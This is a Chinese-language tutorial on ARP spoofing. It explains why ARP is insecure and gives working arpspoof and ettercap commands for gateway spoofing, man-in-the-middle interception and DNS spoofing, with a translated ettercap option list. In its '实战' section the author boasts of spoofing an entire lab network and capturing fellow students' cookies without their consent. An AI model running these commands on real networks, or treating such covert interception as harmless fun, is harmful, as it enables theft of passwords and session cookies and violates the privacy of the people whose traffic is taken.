ARP欺骗
CommentArp协议
以太网(局域网)进行信息传输时,不是根据IP地址进行通信,因为IP地址是可变的,用于通信是不安全的。然而MAC地址是网卡的硬件地址,一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。
Arp协议缺陷
ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,他就会把对应的ip-mac更新到自己的缓存表,说白了就是他信任网络环境内任意通信。
演示
ARP欺骗分为伪造主机欺骗、伪造网关欺骗、中间人欺骗、ARP泛洪和攻击。
伪造主机:造成特定主机被认为无响应
伪造网关:伪造网关,抓取局域网内数据,断网
中间人欺骗:恶意主机既向网关发送主机数据,又伪造网关像主机发数据,作为中间人可看主机与网关之间交互的数据
ARP泛洪攻击:利用ARP缓存表支持动态刷新,且是有一定限制的刷多了就把正确的覆盖了,消耗资源
伪造网关欺骗
搭建个小环境
像主机B(10.10.10.133)发送ARP响应包,欺骗主机A(10.10.10.135) kali为网关
arpspoof -i eth1 -t 10.10.10.133 10.10.10.1
欺骗前
欺骗后
可以看到一直是主机B与网关的通信
很显然了与网关之间的通信内容也是会被抓窃取。
中间人
本机arp缓存表,可以看到从上到下ip依次为本机,网关,安卓手机,kali,现在我利用kali对主机与网关之间通信进行欺骗。
先打开路由转发(不开启会断网)
echo 1 >> /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.31.1 192.168.31.157
arpspoof -i eth0 -t 192.168.31.157 192.168.31.1
可以看到主机还是可以联网,但是ARP表上网关的MAC地址却是我的kali机,这就意味着我的kali作为中间人可以截获查看主机与网关之间的往来流量。
kali上打开wireshark抓包
可以看到主机与网关之间的通信,来往流量被截获和容易抓到一些敏感信息,甚至明文密码cookie。
ettercap
用法
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
用法:ettercap【选项】【目标1】【目标2】
TARGET is in the format MAC/IPs/PORTs (see the man for further detail)
目标是MAC/IPs/PORTs格式(根据中间人获取更多信息)
嗅探与攻击选项:
-M, --mitm <方法:ARGS> 执行mitm攻击
-o, --only-mitm 不嗅探,只执行mitm攻击
-B, --bridge <IFACE> 使用桥接嗅探(需要2个iface——嗅探时使用的网卡接口,嗅探两块网卡之间的数据包)
-p, --nopromisc 不要将iface放入混杂模式
-S, --nosslmitm 不要伪造SSL证书
-u, --unoffensive不要转发数据包
-r, --read <file> 从pcap文件读取数据 <file>
-f, --pcapfilter <string> 设置pcap过滤器<string>
-R, --reversed使用逆向目标反馈
-t, --proto <proto> 只嗅探该proto(默认是全部)
用户界面类型:
-T, --text使用只显示字符的界面
-q, --quiet 安静模式,不显示抓到的数据包内容
-s, --script <CMD>向用户界面发出这些命令
-C, --curses 使用curses图形化界面
-G, --gtk使用GTK+ GUI
-D, --daemon守护模式(无界面),相当于在后台运行
日志选项:
-w, --write <file>将嗅探到的数据写入pcap文件 <file>
-L, --log <logfile> 此处记录所有流量<logfile>
-l, --log-info <logfile>此处记录所有信息<logfile>
-m, --log-msg <logfile> 此处记录所有消息记录<logfile>
-c, --compress 使用gzip压缩日志文件
可视化选项:
-d, --dns 将ip地址解析为主机名
-V, --visual <format>设置可视化格式
-e, --regex <regex> 只实现匹配该regex数据包的可视化
-E, --ext-headers 打印每个pck的扩展头
-Q, --superquiet 不显示用户名与密码
通用选项:
-i, --iface <iface> 使用该网络接口
-I, --liface 显示所有的网络接口
-n, --netmask <netmask>在iface上强制实行(force)该<netmask>
-P, --plugin <plugin> 开始该插件<plugin>
-F, --filter <file> 加载过滤器 <file> (内容过滤器)
-z, --silent 不执行初始ARP扫描
-j, --load-hosts <file> 从 <file>加载主机列表
-k, --save-hosts <file>将主机列表保存至<file>
-W, --wep-key <wkey> 使用该wep密钥解密wifi数据包
-a, --config <config> 使用其它配置文件<config>
标准选项:
-U, --update 从ettercap网站更新数据库
-v, --version 打印此版本并退出
-h, --help帮助选项
dns欺骗
修改 /etc/ettercap/etter.dns
ettercap -i eth0 -T -q -P dns_spoof
可以看到会访问到我kali本地网站
中间人
ettercap -i eth0 -T -M arp:remote /192.168.31.157// /192.168.31.1//
主机上网正常,kali也可以捕获过往流量。
实战
说起上次比赛有老哥跟我说我们路由没做ip/mac绑定,可以arp,当时没研究过这个危害,在实验室兴起,搞了一波用ettercap做了全局域网的欺骗
ettercap -i eth0 -T -M arp:remote /192.168.0.1//
扫描到五个存货地址,实验室用的一台路由另一个断网了,可以确定102/195为两位小老弟的ip。(仅仅欺骗了几分钟)
可以看到还在认真的学习!!!
却不知自己某站的cookie已经被抓了。
有需要的!!!改密码 tql
危害
破坏性的就是断网,危害比较大的就是欺骗后流量被随意抓取,内网抓管理密码,抓http密码。
总结
局域网内设备要有通信arp表才显示,并且nmap -sP
没有发现安卓设备。